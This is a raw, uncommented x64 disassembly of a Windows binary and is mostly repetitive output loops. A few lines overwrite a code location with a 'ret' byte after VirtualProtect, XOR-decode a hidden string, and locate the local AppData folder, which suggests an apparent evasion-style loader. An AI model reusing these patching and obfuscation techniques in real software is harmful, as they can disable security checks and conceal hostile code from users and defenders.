call fcn.140002710
cmp ebx, 5
jl 0x14000a660
mov edx, 1
lea r9, [rsp + 0x70]
mov rcx, rdi
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, r15d
lea rdx, [0x140048968]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048948]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a6c2
mov ebx, r15d
nop dword [rax]
lea rdx, [0x1400489a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048988]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a710
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400489e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400489c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a760
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048a28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048a08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a7b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048a68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048a48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a800
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048aa8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048a88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a850
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048ae8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048ac8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a8a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048b28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048b08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a8f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048b68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048b48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a940
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048ba8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048b88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a990
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048be8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048bc8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a9e0
mov byte [rdi], 0xc3
mov ebx, r15d
nop
lea rdx, [0x140048c28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048c08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aa30
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048c68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048c48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aa80
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048ca8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048c88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aad0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048ce8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048cc8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ab20
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048d28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048d08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ab70
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048d68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048d48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000abc0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048da8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048d88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ac10
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048de8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048dc8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ac60
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048e28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048e08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000acb0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048e68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048e48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ad00
mov r8d, dword [rsp + 0x70]
xor r9d, r9d
mov rcx, rdi
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, r15d
lea rdx, [0x140048ea8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048e88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ad60
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048ee8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048ec8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000adb0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048f28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048f08]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ae00
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048f68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048f48]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ae50
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048fa8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048f88]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aea0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140048fe8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140048fc8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aef0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049028]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049008]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000af40
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049068]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049048]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000af90
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400490a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049088]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000afe0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400490e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400490c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b030
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049128]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049108]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b080
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049168]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049148]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b0d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400491a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049188]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b120
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400491e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400491c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b170
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049228]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049208]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b1c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049268]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049248]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b210
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400492a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049288]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b260
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400492e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400492c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b2b0
mov rcx, qword gs:[0x58]
mov ebx, 0xe0
mov rdx, qword [rcx + r13*8]
mov ecx, 0x144
mov eax, dword [rcx + rdx]
test al, 1
jne 0x14000b38c
movaps xmm0, xmmword [0x14004ada0]
or eax, 1
movaps xmm1, xmmword [0x14004adb0]
mov dword [rcx + rdx], eax
lea rcx, [rdx + rbx]
mov eax, dword [0x14004ae00]
lea rdx, [rbp + 0x80]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm0, xmmword [0x14004adc0]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x14004add0]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x14004ade0]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmm1, xmmword [0x14004adf0]
movaps xmmword [rbp + 0xc0], xmm0
movaps xmmword [rbp + 0xd0], xmm1
mov dword [rbp + 0xe0], eax
call fcn.140003680
mov rcx, qword gs:[0x58]
mov r9, qword [rcx + r13*8]
cmp byte [rbx + r9 + 9], r15b
jne 0x14000b3c2
lea r8, [rbx + r9]
mov edx, r15d
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x79]
inc edx
xor byte [rcx + r8 + 0xa], al
cmp edx, 0x58
jb 0x14000b3b0
mov byte [rbx + r9 + 9], 1
lea rdi, [rbx + r9]
mov ebx, r15d
nop
lea rdx, [0x140049328]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049308]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b3d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049368]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049348]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b420
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400493a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049388]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b470
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400493e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400493c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b4c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049428]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049408]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b510
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049468]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049448]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b560
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400494a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049488]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b5b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400494e8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400494c8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b600
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049528]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049508]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b650
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049548]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049538]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b6a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049568]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049558]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b6f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x140049588]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049578]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b740
mov ebx, r15d
nop dword [rax + rax]
lea rdx, [0x1400495a8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049598]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b790
xorps xmm0, xmm0
mov dword [rbp + 0x10], 0x68
movups xmmword [rbp + 0x18], xmm0
mov ebx, r15d
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
nop dword [rax]
lea rdx, [0x1400495c8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x1400495b8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b800
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor r9d, r9d
lea rax, [rbp + 0x320]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000e1d2
mov ebx, edi
nop dword [rax]
lea rdx, [0x140049d88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049d78]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cbe0
movsxd r12, r14d
mov r15d, edi
mov qword [rbp], r12
mov dword [rbp + 0x598], edi
test r14d, r14d
jle 0x14000e1d2
mov rsi, r13
mov qword [rbp - 8], r13
mov r13d, 0x178
mov r14, rdi
mov qword [rbp - 0x50], rdi
nop word [rax + rax]
mov ebx, edi
lea rdx, [0x140049da8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049d98]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cc62
mov ebx, edi
nop dword [rax]
lea rdx, [0x140049dc8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049db8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ccb0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049de8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049dd8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cd00
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049e08]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049df8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cd50
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049e28]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049e18]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cda0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049e48]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049e38]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cdf0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049e68]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049e58]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ce40
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049e88]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049e78]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ce90
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049ea8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049e98]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cee0
mov ebx, edi
nop word [rax + rax]
lea rdx, [0x140049ec8]
lea rcx, [0x140062840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.1400041d0
mov rcx, rax
lea rdx, [0x140049eb8]
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.1400041d0
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cf30
mov rax, qword gs:[0x58]
mov edx, 0x170
mov rcx, qword [rax + rsi*8]
mov eax, dword [rcx + rdx]
test al, 1
jne 0x14000d10e
movups xmm0, xmmword [0x14004ae08]
or eax, 1
lea r8, [rbp - 0x74]
movups xmm1, xmmword [0x14004ae18]
mov dword [rcx + rdx], eax
lea r9, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
lea r10, [rbp - 0x7e]
movsd xmm0, qword [0x14004ae28]
lea r11, [rbp - 0x7c]
mov edx, edi
mov eax, 0x148
add rax, rcx
movsd qword [rbp - 0x60], xmm0
sub r8, rax
movaps xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x20], r8
lea rbx, [rbp - 0x7a]
xor ecx, ecx
lea r8, [rbp - 0x6a]
mov qword [rax], 0
lea rsi, [rbp - 0x76]
mov word [rax + 8], di
lea r14, [rbp - 0x72]
sub r8, rax
mov byte [rax + 0xa], 0
mov qword [rbp - 0x18], r8
lea rdi, [rbp - 0x78]
lea r15, [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rax + 0xc], xmm0
mov qword [rax + 0x1c], rcx
lea r12, [rbp - 0x6e]
lea r13, [rbp - 0x6c]
mov dword [rax + 0x24], ecx
lea r8, [rbp - 0x68]
sub r9, rax
sub r10, rax
lea rcx, [rax + 0xe]
sub r11, rax
sub rbx, rax
sub rdi, rax
sub rsi, rax
sub r14, rax
sub r15, rax
sub r12, rax
sub r13, rax
sub r8, rax
mov qword [rbp - 0x10], r8
mov r8, qword [rbp - 0x20]
nop word [rax + rax]
movzx eax, word [rcx + r8 - 0xe]
add edx, 0xe
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 8], ax
movzx eax, word [rsi + rcx]
mov word [rcx + 0xa], ax
movzx eax, word [rcx + r8]
mov word [rcx + 0xc], ax
movzx eax, word [r14 + rcx]
mov word [rcx + 0xe], ax
movzx eax, word [r15 + rcx]
mov word [rcx + 0x10], ax
movzx eax, word [r12 + rcx]
mov word [rcx + 0x12], ax
movzx eax, word [rcx + r13]
mov word [rcx + 0x14], ax
lea rcx, [rcx + 0x1c]
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + rcx - 0x1c]
mov word [rcx - 6], ax
